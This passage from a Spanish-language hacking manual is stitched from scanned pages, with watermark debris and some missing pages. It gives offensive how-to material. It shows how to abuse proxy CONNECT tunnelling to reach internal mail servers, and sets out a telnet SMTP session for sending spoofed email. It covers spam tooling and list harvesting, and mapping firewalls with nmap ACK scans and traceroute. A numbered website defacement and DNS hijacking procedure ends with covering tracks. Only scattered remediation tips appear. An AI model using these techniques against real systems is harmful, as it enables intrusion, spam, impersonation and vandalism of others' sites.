(www.inetprivacy.com/a4proxy/).
Disponible para todas las versiones
de Windows, tiene una lista muy
grande de proxies pblicos, y
gestiona las conexiones a todos
ellos. Tiene varias opciones para
vincular las reas de Internet o sitios
especficos para uno o varios
servidores proxy, anlisis de trfico y
protocolos asociados y
compartimiento de conexin con una
red local.
Otro hallazgo destacable es el Stealther", un programa de software que ofrece la
posibilidad de utilizar una serie de proxies pblicos para automatizar la conexin en
cadena.
157
www.FreeLibros.me
i
k
i
mi
l
i
k
i
l
i
k
l
i
k
Uni
v
er
s
i
da
dH4CK3R
www.FreeLibros.me
i
k
i
mi
l
i
k
i
l
i
k
l
i
k
Uni
v
er
s
i
da
dH4CK3R
inseguros, y puede haber incluso servidores maliciosos, mantenidos por hackers, para
rastrear "script kiddies" e internautas incautos, con el objetivo de utilizarIos
(especialmente su IP) en los ataques de suplantacin de identidad. Por esta razn, los
hackers experimentados prefieren invadir una red poco importante (pequeas empresas,
escuelas o universidades) para utilizar su proxy. O valerse de servidores proxy mal
configurados sueltos por Internet.
- Proxies privados
Hay varias maneras de entrar en un equipo que ejecuta un programa de proxy y
esconderse en Internet. El mtodo para cada tipo de servidor proxy depende de la versin
y sistema operativo en el que rueda. Pero hay algunas vulnerabilidades que funcionan en
cualquier plataforma, ya que son inherentes a la tecnologa y no a la aplicacin de la
tecnologa por un desarrollador en particular.
Uno de estos casos es el tnel del TCP, una forma de encapsular los paquetes TCP en
otros para llevarlos con seguridad a travs de Internet. Esta tecnologa es ampliamente
utilizada para crear VPNs o redes privadas virtuales. Pero un fallo en la tecnologa puede
dar a los hackers expertos un proxy improvisado. Esta vulnerabilidad es realmente vieja.
Mire lo que dice el FAQ del Software Squid.
(www.squid-cache.org/Doc/FAQ/FAQ-1.html.) En el punto 1.12:
"Desde la versin 2.5, Squid soporta conexiones SSL y trfico de "tnel" entre clientes y
servidores. En este caso, Squid puede transmitir los bits cifrados entre los dos extremos
de la conexin.
Normalmente, cuando el navegador se encuentra con una URL https, realiza una de las
dos acciones siguientes:
1 El navegador abre una conexin SSL directamente con el servidor https;
2 El navegador solicita para abrir un tnel IP a travs de Squid usando el mtodo
CONNECT.
El mtodo CONNECT es una forma de tnelar cualquier conexin que pase a travs de
un proxy HTTP. El proxy no interpreta o entiende el contenido que esta siendo tunelado,
slo lo transfiere entre las dos mquinas que participan en la conexin. Para obtener ms
informacin sobre tunelamiento y el mtodo CONNECT, ver. El proyecto de Internet
"Tunneling TCP based protocols through web proxy servers"
(www.web-cache.com/Writings/lnternet-Drafts/draft-luotonen-web-proxy-tunneling-01.txt) y
RFC2817 (ftp://ftp.isLedu/in-notes/rfc2817.txt)"
Vase la siguiente frase, de la FAQ: "El proxy no interpreta o entiende el contenido que
esta siendo tunelado, slo lo transfiere entre las dos mquinas que participan en la
conexin." Esto significa que el proxy no verifica si los datos estn encriptados o no. Por
lo tanto, puede explotar esta vulnerabilidad utilizando el mtodo CONNECT para
conectarse a un servidor, que puede ser una tanto una mquina en Internet como un
servidor en la intranet. Recuerde que el proxy se puede ejecutar en una mquina
gateway, que tenga dos interfaces de red (uno para la red interna y uno para red
159
www.FreeLibros.me
i
k
i
mi
l
i
k
i
l
i
k
l
i
k
Uni
v
er
s
i
da
dH4CK3R
externa). Tomando posesin del proxy, el atacante tiene acceso a la red interna, aunque
este implementada con IPs reservados como IP 10.0.0.0. o 192.168.0.0!
Qu tal un ejemplo prctico? En un proxy vulnerable, nos conectamos a un servidor de
e-mail interno y lo vamos a utilizar como remailer. Considere la siguiente informacin:
- IP del atacante: 200.230.xxx.yyy
- Proxy vulnerable de la vctima: 64. 31.aaa.bbb, "escuchando" en el puerto 3128
- Servidor SMTP interno de la victima: 192.168.1.11
Conectese con el servidor proxy utilizando el viejo telnet (en el ejemplo se utiliza el shell
de Unix, pero se puede hacer en Windows sin problemas, con emuladores de terminal y
telnet como TeraTerm o HyperTerminal, que vienen con el SO):
$ Telnet 64.131.aaa.bbb 3128
Una vez conectado, escriba el siguiente comando:
CONNECT 192.168.1.11:25 / HTTP/1.0
Si, como respuesta, aparece el banner del servidor, usted puede emitir comandos para
enviar sus mensajes de e-mail annimos (vase la siguiente seccin, "remailers
annimos" al final de este captulo). Tenga en cuenta que SMTP se utiliza aqu solo como
ejemplo. Usted puede utilizar el mtodo CONNECT para cualquier servicio: POP, FTP,
HTTP, SMB/CIFS, Telnet Tambin tenga en cuenta que tunelando varios proxies en
cadena, es posible poner mltiples niveles de proxy en los ataques.
La solucin para este problema es tan simple y evidente como apagar el tnelado TCP en
su proxy. Si el tnelado es absolutamente necesario, no dejes tu proxy conectado
directamente a Internet. Instalalo en otra mquina y ponlo detrs del firewall. Restringir los
puertos a travs de los cuales se puede hacer tnelado, dejando slo aquellos que
realmente se usen, es tambin un buen ajuste.
- Squid
El Squid, servidor proxy nmero uno para los amantes del Unix y software libre, tambin
tiene sus propias heridas. Sitios con Squid con normas de firewalls mal configuradas son
un banquete para aquellos que buscan el anonimato. Pero incluso los sistemas
perfectamente configurados (y sin duda seguros desde el punto de vista de el
administrador) pueden ser vulnerables a ataques. Existe una vulnerabilidad reciente
(lwn.net/Vulnerabilities/4336) que permite diversos ataques, incluyendo:
- Problemas con el protocolo Gopher permite que mens mal formados causen problemas
de seguridad;
- Los dos canales de comunicacin FTP permiten que los datos sean extrados o
insertados, pudiendo forzar la descarga de archivos arbitrarios o ejecutar comandos en el
servidor;
- Fallo de autenticacin permite a los usuarios no registrados utilizar el proxy.
160
www.FreeLibros.me
i
k
i
mi
l
i
k
i
l
i
k
l
i
k
Uni
v
er
s
i
da
dH4CK3R
Los tres defectos se podran utilizar para, adems de invadir el servidor en el que Squid
esta corriendo, forzar al proxy ha transmitir IPs no autorizados. Se pueden encontrar
Exploits en Security Focus (www.securityfocus.com). La solucin es simple: actualizar
Squid a la versin 2.4 STABLE 7 o superior. Pero como los administradores de red que
hay son perezosos, es posible que, encuentres durante muchos aos, aun, Squid con
versiones vulnerables.
- WinGate
WinGate se puso en marcha en 1995 como una distribucin de Internet para redes
domsticas. Simula un proxy/gateway por mascara de IP y por su bajo precio, era muy
popular en los EE.UU. A pesar de ser un producto ya bastante viejo, muchas personas
todava lo utilizan para compartir su conexin a Internet con una pequea red de
mquinas. Hay varias maneras de tumbar versiones antiguas de WinGate. Una de las
ms conocidas es conectar (con telnet, por ejemplo) el puerto 2080 y enviar unos pocos
kilobytes de datos cualesquiera.
Pero lo interesante es que algunas versiones de WinGate mal configuradas permiten que
sea utilizado como un proxy annimo. Si ejecuta una de estas, se arriesga a prestar su IP
a los script kiddies para atacar el Pentgono. Encontrar exploits para WinGate es muy
fcil. Utilice su motor de bsqueda favorito y pregunte por "wingate scanner . Tenga en
cuenta que muchos de estos escneres pueden ser trampas para atrapar "script kiddies" y
por lo tanto contener virus y troyanos - Actualice sus antivirus!
La solucin a esto es bastante fcil. Si usted insiste en el uso de Windows, actualice
WinGate (www.wingate.com) o utilice otros programas como WinProxy
(www.winproxy.com). Las nuevas versiones de Windows tienen Internet Connection
Sharing, que hace innecesario el uso de programas externos. Pero el propio ICS es en si
mismo inseguro, lo que le recomendamos instalar un firewall personal como ZoneAlarm
(www.zonealarm.com) o compre en la chatarreria un misero 386 (que rule, obviamente)
con al menos 8 Mbytes de RAM y sin HD. En el, instale algn firewall+gateway basado en
Linux o FreeBSD. Buenas opciones son Coyote Linux (www.coyotelinux.com). Trinux
(trinux.sourceforge.net) y FreeSCO (www.freesco.org). El coste de la chatarra 386 es ms
barato que las licencias de WinGate, WinProxy o ICS de Windows y Zone Alarm. Por otra
parte, si esta bien configurado funcionara mejor, ser mas seguro y dejara el ordenador
con menos basura instalada.
Remailers annimos
Una de las cosas ms molestas que hay (despus de los vendedores de enciclopedias,
de los pop-ups en los sitios web y los representantes de las casas de software, instando a
que utilice su programa muy caro, y no el libre que hace lo mismo) es el spam. Todos
recibimos cada da, decenas o incluso cientos de correos basura que nos ofrecen de todo,
desde sexo a cucharones ultramodernos. Al principio, es fcil configurar un cliente de
correo como Outlook o Eudora, para que en el campo "De", de los mensajes enviados,
aparezca una direccin diferente a la suya.
Pero este engao se descubre fcilmente, ya que el encabezado del correo electrnico
161
www.FreeLibros.me
i
k
i
mi
l
i
k
i
l
i
k
l
i
k
Uni
v
er
s
i
da
dH4CK3R
(los datos que van antes de su mensaje, y que por lo general no se ven) se registra su
direccin de e-mail, la direccin de su servidor SMTP e incluso el nombre del programa
que usted utiliza. Para enviar spam (o un troyano), tendr dos opciones, como se muestra
a continuacin:
- Buscar servidores SMTP que estn abiertos para relay externo, es decir que acepten
conexiones desde cualquier rincn de Internet. Cranme, son bastante comunes.
- Utilizar un software o sitio web para enviar mensajes de correo electrnico sin revelar la
fuente.
En servidores SMTP desprotegidos , puede configurar el cliente de correo electrnico
para conectarse a l, pero podra dejar muchas huellas. Una buena tcnica es usar telnet
para ello. Una vez que encuentre un servidor de correo electrnico abierto al pblico en
general, darle un telnet al puerto 25:
$
Telnet
IP.DEL.SMTP.ABIERTO
25
En el prompt que aparece, debe introducir los comandos que normalmente su e-mail
enviara al servidor - s, son en texto plano!
HELO servidor.aberto.com
MAIL FROM: [email protected]
RCPT TO: [email protected]
FECHA
Date: Thu, 31 de diciembre 1998 12:16:35 -0500 (EST)
De: [email protected] (Un brasileo resuelto)
Para: [email protected]
Asunto: Programa de Gobierno
Responder a: [email protected]
Hey! Cundo va a llegar a cumplir el programa de gobierno, eh?
SALIR
Algunos sistemas, abiertos para relay externo, son inmunes a este procedimiento. Usted
ser capaz de enviar correo electrnico, pero no se le permitir "mentir" sobre su
direccin. Enviar un correo electrnico a uno mismo es una buena prueba, pero
asegrese de comprobar los encabezados! Lo que pasa es que los nuevos servidores
SMTP verifican su identidad con el servicio identd (que trata de identificarlo de forma
remota). En estos casos, es necesario "engaar" a identd primero, para despus usar el
SMTP abierto. No tenga pereza para completar todos los campos que se muestran. As,
su mensaje parecer un mensaje real. Para obtener ms informacin sobre el
funcionamiento del protocolo SMTP, consulte RFC 822 y 931.
Hay varios sitios que envan mensajes de correo electrnico annimo. Incluso los
principales sitios de alojamiento gratuito y los motores de bsqueda (como Lycos:
members.lycos.fr/moiaptoi/mail.php) tienen pginas especiales para el envo de correos
electrnicos con mensajes y tarjetas electrnicas a tus amigos esta herramienta en las
manos de un hacker, se convierte en un arma. Una bsqueda rpida en Google devuelve
varios ejemplos de web anonymous mailers. Separamos entre los cientos mostrados,
estos cinco:
162
www.FreeLibros.me
i
k
i
mi
l
i
k
i
l
i
k
l
i
k
Uni
v
er
s
i
da
dH4CK3R
- www.gilc.org/speech/anonymous/remailer.html
- fanclub.etoy.c3.hu/tanksystem/underground-tank/resistance/mailerform.html
- www.judsonalumni.com/level5 <= Un sitio de estudiantes!
- www.email-anonyme.fr.st
- www.mailer.us.tf
Incluso puede invadir cualquier servidor en Internet y aplicar all, sin que nadie lo sepa, el
software de correo propio. Un cdigo de ejemplo (en PHP) se puede ver en
http://www.pscode.com/vb/scripts/ShowCode.asp?txtCodeId=95.3=8ylngWId.
Hay cantidad de software que automatiza el proceso de enviar toneladas de correos
electrnicos a miles de direcciones, incluyendo implementar su propio servidor SMTP
domestico o explorar Internet detrs de servidores corruptos. Si utiliza Unix y tiene
conexin directa a Internet, puede instalar un completo servidor de SMTP en el equipo,
configurarlo con un dominio ficticio, y dar la brasa! Algunos proveedores de Internet
bloquean servidores SMTP a sus abonados, pero nada que un proxy pblico no arregle.
Hay varias opciones disponibles, siendo Qmail, Sendmail y el veterano Postfix las ms
conocidas. En un refinamiento de este proceso se pueden utilizar servidores de listas de
correo para automatizar la entrega a muchos destinatarios. Entre la lista de los ms
comunes estn los servidores de Mayordomo, Exim y GNU Mailman. Para alimentar a los
servidores de listas, basta con crear una lista de distribucin y suscribirse, poco a poco,
se irn sumando las direcciones recopiladas de Internet. Hay scripts como Bulk Mailer
(ftp://cs.utk.edu/pub/moorelbulk.mailer/) que facilitan la tarea an ms. Una bsqueda en
Google sera suficiente para empezar, pero no es necesario: basta con copiar y pegar
desde los mensajes de correo electrnico de fin de ao que suele recibir, que suelen venir
llenos de direcciones en los campos "Para" y "CC". Si usted es el enemigo de spam, una
recomendacin: Al reenviar mensajes de correo, utilice siempre el campo "Copia oculta" o
BCC..
En el lado del cliente, se pueden enviar correos electrnicos annimos sin invadir ningn
servidor. Tenga en cuenta que, a pesar de ser la solucin ms simple, es peligrosamente
fcil de rastrear. Algunos programas (de pago) para Windows, que hacen esto son:
- Send-Safe: www.send-safe.com
- Bulker: www.bulker.us
Hay algunos otros programas libres que prometen: enviar e-mails annimos a un gran
nmero de personas. Pruebelos todos. Pero no espere la facilidad de un script, como dira
la hackergirl Melpneme. Trate de entender cmo trabajan los servidores SMTP, y ver
que es fcil usar cualquiera de ellos para enviar correos electrnicos annimos. Una
ltima recomendacin: lea las RFCs!
Agujereando Firewalls
Cuando alguien invade un ordenador domestico, tiene a su disposicin algunos archivos
importantes slo para el propietario. Tal vez algn software ingenioso que merece ser
copiado. Estas mquinas no sirven para realizar el sueo warholiano de los adolescentes:
163
www.FreeLibros.me
i
k
i
mi
l
i
k
i
l
i
k
l
i
k
Uni
v
er
s
i
da
dH4CK3R
Hay tres tipos bsicos de servidores de seguridad. Los ms tradicionales son dos, los
filtros de paquetes y los servidores proxy. El tercer tipo es una evolucin del filtro de
paquetes tradicional llamado filtro de los paquetes por estado o stateful packet filter (SPF).
- Filtros de paquetes
La opcin mas antigua de impedir el acceso no deseado a nuestras redes podra ser la de
analizar los paquetes TCP/lP uno a uno, mirando las cabeceras, y decidir (o adivinar) si es
maligno o no. Por lo general, las "preguntas" que el filtro hace que el paquete son:
- El paquete est dirigido a la direccin IP de algn servidor de la red?
- Su direccin IP de origen esta permitida en esta red?
164
www.FreeLibros.me
i
k
i
mi
l
i
k
i
l
i
k
l
i
k
Uni
v
er
s
i
da
dH4CK3R
IP de origen
IP de destino
Puerto de
origen
Puerto de
destino
Protocolo
FlagTCP
Accin
Red interna
Red externa
Todas
80
TCP
Todos
Permitir
Red externa
Red externa
80
Todas
TCP
ACK
Permitir
Red externa
80
TCP
SYN
Permitir
80
Todas
TCP
ACK
Permitir
Todas
Todas
Todas
Todos
Todos
Negar
Todas
En este ejemplo, nuestro administrador de red quera permitir el acceso a la World Wide
Web para los usuarios de esa red. Normalmente, los servidores Web se ejecutan en el
puerto TCP 80 (recuerde: RFC1700). De acuerdo con la primera regla, todas las
conexiones desde el interior hacia el exterior cuyo destino es el puerto 80 est permitido.
Obviamente, el navegador del usuario enva un paquete TCP SYN al puerto 80 del
servidor web y espera una respuesta. Esta respuesta viene en forma de un paquete ACK,
cuyo puerto de origen es el puerto TCP 80 del servidor con destino a cualquier puerto
superior a 1024 en el ordenador del usuario. La segunda regla permite eso.
La tercera regla permite que cualquier solicitud de conexin (es decir, un paquete TCP
SYN) se pase a la direccin del servidor Web, y slo a l, en el puerto 80. Una peticin al
puerto 80 de cualquier otra mquina se bloquea. La respuesta de nuestro servidor web
pasa por el firewall, permitida por la regla cuatro. Por fin, la regla cinco, bloquea todas las
dems conexiones.
Sin embargo, el filtro de paquetes es ignorante. Al margen de lo definido en sus reglas, l
no sabe nada ms. Mire la regla dos. Cualquier paquete TCP que venga de fuera, cuyo
origen es el puerto 80 y tenga el flag ACK activado, seria aceptado por el firewall, sin
problema. Ahora, un hacker podra enviar un ACK que no formaba parte de un protocolo
165
www.FreeLibros.me
i
k
i
mi
l
i
k
i
l
i
k
l
i
k
Uni
v
er
s
i
da
dH4CK3R
de enlace TCP. Con este paquete, todas las direcciones IP en la red podra ser testadas
para verificar su existencia. Se trata de un agujero de seguridad bonito!
Otro problema son los paquetes UDP. No tienen los flags de control, slo IP/puerto de
origen y de destino. El administrador slo tiene dos opciones: bloquearlos o permitirIos.
Servicios importantes tales como DNS (puerto 53), utilizan puertos UDP y por lo tanto
deben ser liberados en el cortafuegos. Al mismo tiempo, el mismo puerto UDP 53 se
puede utilizar para transmitir datos al hacker por medio de un caballo de Troya. El filtro de
paquetes no tiene forma de distinguir entre una conexin vlida y una maliciosa.
- Proxies
Los filtros de paquetes, como su nombre indica, se basan en la informacin descargada
de los mismos paquetes para tomar decisiones acerca de quin entra o sale y que est
prohibido. Por el contrario, firewalls basados en la tecnologa proxy, trabajan con la capa
de aplicacin. El proxy interacta con el programa y sus protocolos, independientemente
de cmo este protocolo se encapsula en el protocolo TCP/lP. Por ejemplo, un proxy Web
muy conocido en el mundo Unix, Squid, slo funciona con el protocolo HTTP,
bloqueando los dems. Adems, es inmune a los ataques con paquetes aislados. El
paquete ACK que paso con gallarda por el filtro de paquetes, es solemnemente ignorado
por el proxy, que se "cepilla los bits" del protocolo HTTP para dejar pasar slo los
mensajes que cumplan estrictamente con las normas - mucho ms eficaz que
simplemente bloquear las conexiones ACK TCP/80. Hay proxies para todos los gustos,
siendo HTTP, FTP y Telnet los ms comunes.
Opcionalmente, un proxy puede autenticar a los usuarios, permitiendo slo los inicios de
sesin registrados correctamente en l. Y es til para controlar quien puede, o no,
acceder a servicios externos un control muy til en las empresas - es mucho ms til
para prevenir que los troyanos se conecten con sus maestros del mal envueltos en las
brumas de Internet. De hecho, en un filtro de paquetes que permita la conexin a travs
del puerto TCP 80, con las peticiones HTTP vlidas, podramos tener troyanos
conectndose por el mismo puerto. Con un proxy no sera posible. Aunque el troyano
disfrace sus datos con una cabecera HTTP valida, la conexin no pasara por el esquema
de autenticacin.
166
www.FreeLibros.me
i
k
i
mi
l
i
k
i
l
i
k
l
i
k
Uni
v
er
s
i
da
dH4CK3R
167
www.FreeLibros.me
i
k
i
mi
l
i
k
i
l
i
k
l
i
k
Uni
v
er
s
i
da
dH4CK3R
Para hacer que Nmap enve paquetes ACK para todos los puertos en una sola mquina,
utilice la opcin -sA (hay que ser root para esto):
# Nmap -sA (IP que se debe buscar)
El prompt que se muestra es de Unix, pero en Windows sera exactamente lo mismo.
Obviamente, uno puede utilizar la interfaz grfica (NmapWin y Nmapfe) para facilitar la
tarea, si as lo desea.
Se puede hacer el mismo anlisis con todos los puertos en un rango de IPs (es decir,
varias mquinas). Por ejemplo:
# Nmap -sA 192.168.1 .*
Analiza todas las direcciones IP 192.168.1.0 a 192.168.1.255
# Nmap -sA 192.168.1.3-127
Analiza todas las direcciones IP de 192.168.1.3 a 192.168.1.127
Ejecuta este comando en una serie de sitios web y podrs ver que no todos hicieron sus
deberes. Elije uno de ellos (el ms bacheado) y trata, a partir de los datos presentados
por Nmap de determinar las reglas del firewall en cuestin.
Otro comando muy interesante es Traceroute/Tracert. Si ests en una mquina Unix,
pruebe con el siguiente comando:
# traceroute (IP del servidor Web)
En una mquina Windows, el comando sera:
C:\tracert (IP del servidor Web)
Ver una lista de todos los nmeros de IP (y, en su caso, el nombre DNS) de los
ordenadores y routers en el camino entre el ordenador y el equipo de destino. Es muy
probable que, siendo el equipo de destino un servidor web, las dos interfaces de red (es
decir, los nmeros de IP) inmediatamente anteriores al servidor, pertenezcan al firewall.
Tenemos, por tanto, tres de informaciones vlidas: la direccin IP del servidor web, la
direccin IP de su servidor de seguridad y sus reglas de filtrado. Con un poco de
paciencia, el hacker puede intentar varias direcciones prximas con Nmap y Traceroute o
Tracert, y con los datos obtenidos hacer un diagrama aproximado de la red que est
atacando. Peligroso, no es as?
Con esta informacin, un escner de vulnerabilidades, como Nessus, puede abrir un
mundo de opciones para invadir cualquiera de las mquinas encontradas. Slo tiene que
encontrar el agujero, descargar el exploit (www.cert.org y www.securitifocus.com). Para
empezar) y ejecutarlo.
Servidores Web
Debemos conocer con cierta profundidad los daemons HTTP a ser atacados, con el fin
de invadir rpidamente y cambiar sus pginas. Conocer las vulnerabilidades en ellos es
crucial para el xito de la empresa. Una vez invadidos, los caminos que conducen a las
168
www.FreeLibros.me
i
k
i
mi
l
i
k
i
l
i
k
l
i
k
Uni
v
er
s
i
da
dH4CK3R
pginas deben ser capturados rpidamente para evitar una conexin larga en el tiempo y
posibles rastreamientos.
- Apache
El servidor HTTP nmero uno del mundo es Apache (www.apache.org). Es un programa
de cdigo abierto y libre distribucin de gran prestigio por su desempeo, seguridad y
flexibilidad. Sin embargo, ningn software es 100% seguro, y Apache no es una
excepcin.
Los archivos de configuracin de Apache, normalmente estn en /etc, en los directorios
/etc/httpd o /etc/apache. En algunas implementaciones, puede estar en /usr/local/apache
o /var/httpd. Es importante que el atacante est familiarizado con los conceptos de
funcionamiento de un servidor HTTP, en particular con apache, y especialmente con el
fichero de configuracin httpd.conf. Otro punto interesante a estudiar son los
mecanismos para el acceso a pginas restringidas a travs de contraseas. Estos
mecanismos suelen utilizar archivos llamados .htaccess para almacenar el nombre de
usuario y la contrasea de los usuarios registrados. Toda la informacin esta contenida en
la documentacin del producto, disponible en el sitio oficial.
La mejor manera de aprender acerca de Apache es manejndolo. Instala cualquier Linux
en un equipo de prueba y la ltima versin de apache. Juega con la configuracin, busca
HOWTOs en Internet, crea pginas de acceso restringido y, sobre todo, observa cmo
est organizada la jerarqua de directorios.
Como no todo son flores, Apache puede ser vulnerable a los ataques. Adems de la mala
configuracin del Unix que lo acoja, el propio Apache puede estar configurado
incorrectamente. Pero incluso si todo est en orden, puede haber fallos en el software que
permitan una invasin. Un ejemplo sencillo. Apache tiene un mdulo, mod_php, que
permite la ejecucin de sistemas escritos en lenguaje PHP en el servidor. Algunas
funciones de mod_php permiten que un programa externo sea ejecutado. En estas
situaciones, el control del puerto en el que Apache escucha "(por lo general 80) se pasa a
este programa externo. Por lo tanto, es fcil hacer un pequeo programa con cdigo
malicioso que permita a un hacker tomar el puerto 80, basta con que el programa nunca
devuelva el control a Apache, y que este abierto para la transmisin de datos por parte del
hacker. El invasor puede enviar cualquier cosa por el puerto 80, incluyendo otras pginas
HTML sin modificar el contenido de las pginas alojadas en el servidor. El exploit, y una
explicacin ms detallada se puede encontrar en www.guninski.com/php1.html.
- Sun ONE/iPlanet
Sun ofrece el servidor HTTP de Sun ONE (antes iPlanet), un servidor potente y muy
rpido, pero con algunos errores. El Sun ONE es parte de un conjunto ms amplio de
herramientas para el desarrollo de aplicaciones empresariales en Java, y por lo tanto es
difcil (pero no imposible) encontrarlo sirviendo pginas web. La documentacin sobre el
servidor se puede encontrar en el sitio oficial: www.sun.com/software/products/websrvr/
home.web.srvr.html.
Una de las vulnerabilidades ms conocidas del antiguo iPlanet y que algunas versiones
169
www.FreeLibros.me
i
k
i
mi
l
i
k
i
l
i
k
l
i
k
Uni
v
er
s
i
da
dH4CK3R
www.FreeLibros.me
i
k
i
mi
l
i
k
i
l
i
k
l
i
k
Uni
v
er
s
i
da
dH4CK3R
reemplace el servidor IIS con un sistema Linux con Apache (el mejor). Si usted insiste en
el uso de Windows, aplicar el parche oficial, disponible en
www.microsoft.com/technet/security/bulletin/ms00-057.asp.
El IIS tambin ofrece un servicio para el atacante, el registro de datos falsos en el log.
Como se inform por Security Focus (www.securityfocus.com/bid/6795/info). URLs
especficamente mal formadas con cdigos hexadecimales pueden hacer que el sistema
grave entradas falsas en los archivos log. Con esto se pueden destruir los registros de la
invasin y confundir a los programas que leen el registro.
Hay varios libros escritos sobre los tres servidores de la lista, y los sitios oficiales
(especialmente Apache) proporcionan informacin detallada y amplia documentacin
sobre ellos. Deja de leer el libro y estudialos. Es importante. Tambin sugiero un paseo
por Security Focus (www.securityfocus.com) haciendo una bsqueda de vulnerabilidades
en estos tres servidores HTTP. Si por casualidad los conceptos utilizados en los sitios son
demasiado oscuros para el lector, le sugerimos volver a leer el libro entero.
- Common Gateway Interface (CGI)
Los servidores HTTP pueden ampliarse mucho ms con la adopcin de mecanismos que
permitan el llamado contenido dinmico, una tecnologa que permite el acceso y el
montaje de pginas personalizadas y contenidos variables para cada visitante. Esta
tecnologa ha abierto la puerta a una serie de nuevos servicios a los usuarios de Internet,
tales como el comercio electrnico, pginas interactivas, servicios de noticias y el
procesamiento personalizado de formularios en lnea. De paso, tambin abri la puerta a
los piratas informticos.
La forma ms antigua de ofrecer sitios de contenido dinmico son los Common Gateway
Interface, o CGI. Estos mdulos, agregados al servidor Web, permiten a las pginas
HTML residentes, enviar y recibir datos desde un programa externo. Por lo tanto, los
sistemas de procesamiento de datos pueden manejar la informacin recibida y ver los
resultados en pantalla. Si usted no tiene ni idea de cmo se puede hacer esto, le sugiero
que deje de leer este libro (nuevamente. ..) y vaya a buscar un buen libro de HTML. No,
su conocimiento de FrontPage o Dreamweaver no van a ayudarle ahora. Despus de
terminar sus estudios de HTML, trate de aprender algo sobre JavaScript y VBScript. Solo
despus siga con el siguiente prrafo.
Los programas que se ejecutan como scripts CGI pueden ser muy simples. Y se pueden
implementar en cualquier idioma disponible en el servidor. Por ejemplo, un equipo que
ejecuta Windows, puede preparar un pequeo programa en Delphi, Visual Basic o incluso
un archivo por lotes (. BAT) que interacte con IIS. En Unix, puede utilizar Perl, Python,
programas compilados en C o scripts de shell, como CGls. Los fallos en estos programas
puede comprometer servidores HTIP que de otro modo estaran a salvo.
Los agujeros de seguridad entorno a los CGls son tan antiguos como la propia tecnologa.
Los propios servidores ya vienen con ejemplos de CGls pre-instalados. Un ejemplo,
procedente de instalaciones UNIX muy antiguas, es el fallo del tipo PHF. El archivo PHF
es un script CGI que se utiliza para actualizar una lista de telfonos de personas. Esta
lista est disponible en lnea a travs del servidor web, y es posible crear un formulario
171
www.FreeLibros.me
i
k
i
mi
l
i
k
i
l
i
k
l
i
k
Uni
v
er
s
i
da
dH4CK3R
172
www.FreeLibros.me
i
k
i
mi
l
i
k
i
l
i
k
l
i
k
Uni
v
er
s
i
da
dH4CK3R
Defacements (Desfiguraciones)
Despus de atacar los ordenadores personales, la siguiente gran empresa de los "script
kiddies" consiste en desfigurar sitios Web, los llamados defacements. Hasta ahora,
pudimos comprobar (con Nmap y Traceroute/Tracert) agujeros en el firewall y mapear
toda la red conectada directamente a Internet. Aprendimos a usar servidores proxy para
aumentar nuestro anonimato y enviar e-mails annimos - algo que hace la vida ms fcil
para cualquier ingeniero social. Sin embargo, la red interna sigue siendo inaccesible para
nosotros. Por ahora
La deformacin es una cosa fcil de hacer. Por supuesto que hay casos y casos, unos
son un poco ms difciles, otros muy infantiles, pero en general los pasos bsicos para
una desfiguracin son:
1 - La ingeniera social, aplicada a los administradores del sitio. Un ejemplo clsico es el
sitio mismo de Digerati (www.digerati.com). que fue atacado por la hacker juvenil
Melpneme. Slo mediante tcnicas de ingeniera social, descubri las contraseas de los
administradores de Digerati en el registro nacional de dominios (registro.br). A partir de los
datos obtenidos en ste, accediendo con las contraseas obtenidas, invadi el DNS
(tambin sin exploits, slo con contraseas obtenidas por ingeniera social) que
apuntaban a nuestro servidor web y cambio la IP, direccionndolo hacia l servidor de
ella. Resultados: Los lugares Geek y Digerati con apariencia desfigurada.
2 Con Ingeniera Social, todo es ms fcil. Pero con o sin informacin privilegiada, se
debe tener cuidado con el anonimato cuando se intenta un ataque con herramientas
informticas. Para ello, tenga cuidado de protegerse con spoofing y proxies pblicos.
3 - Hacer anlisis de puertos y vulnerabilidades hasta averiguar si los DNSs o las webs,
tienen defectos que se puedan explotar. Si es as, busque los exploits y tenga acceso al
shell de la mquina. Tenga en cuenta que a menudo usted tendr un acceso restringido,
entonces, tendr que hacer cracking de contraseas o fuerza bruta (vase el Captulo 7,
Vulnerabilidades I) para acceder a superusuario.
4 - Una vez que tiene acceso, busque el directorio donde se guardan las pginas. En las
mquinas Windows con IIS que estn en /www/documentroot. En las mquinas Unix, esto
varia y puede estar en /home/http, /var/www, /var/http, /usr/local/apache/www, entre otros.
Utilice el comando find (o, en su caso, el comando locate) para encontrar el directorio
www o http.
5 - Encontrado el directorio, sea bueno y haga backup del sitio completo, coloquelo en un
archivo comprimido, djelo all mismo o cpielo a un directorio cualquiera.
6 - Cambie el index.html (o .php o .asp o .htm o .xhtml o .shtm....) por el suyo propio,
diseado previamente, ANTES de empezar la invasin. Usted no quiere dejar la conexin
abierta durante la creacin de la pgina, exponindose a un seguimiento, no?
7 - Borra las pistas.
En el caso de las mquinas DNS, el procedimiento es similar. Usted debe tener un
servidor Web en el aire y testado, que contenga la pgina a mostrar. Invada el DNS y
cambie las entradas. Por ejemplo, usted apoya la guerra en Iraq y quiere desfigurar el sitio
www.stopthewar.org (Advertencia Lammers - este sitio no existe). Descubra cual es el
173
www.FreeLibros.me
i
k
i
mi
l
i
k
i
l
i
k
l
i
k
Uni
v
er
s
i
da
dH4CK3R
DNS que apunta a ella (sugerencia: utilizar el comando WHOIS con nslookup) e invada
la mquina. All, usted encontrara el dominio stopthewar.org asociado con un nmero de
IP en particular. Cambie la IP por la de su servidor Web que contiene la pagina falsa y ya
est! No se olvide de comprobar si hay DNSs secundarios. Tendr que comprobarlos para
asegurarse de que el cambio se realice, de lo contrario, deber invadirlos y cambiarlos
tambin "a mano".
Bases de datos
La mayora de los sitios con contenido dinmico y control de acceso hacen uso de bases
de datos. Los primeros, para almacenar los trozos de cdigo a utilizar para montar el
HTML mostrado al cliente, los segundos, para mantener el registro de usuarios. A ambos
se puede acceder fcilmente con algn trabajo de campo
- Conexin directa a travs de Internet
Algunos administradores de red (o incluso usuarios legos ...) dejan sus bases de datos
completamente abiertas en Internet, sin filtrarlas por cortafuegos. Es posible conectarse a
ellas a travs de las herramientas disponibles en el propio sistema operativo, o instalando
en el ordenador atacante, una base de datos similar a la de la vctima.
Un ejemplo prctico: en Internet, usted encontr con un escner de vulnerabilidades (Por
ejemplo, Nessus), un servidor Unix que ejecuta la base de datos PostgreSQL. Para
acceder a ella, basta con instalar y configurar un interfaz grfico para el acceso y
administracin de bases de datos de ProstgreSQL llamada pgaccess
(www.frex.ro/pgaccess).
Ser necesario un poco de ingeniera social para
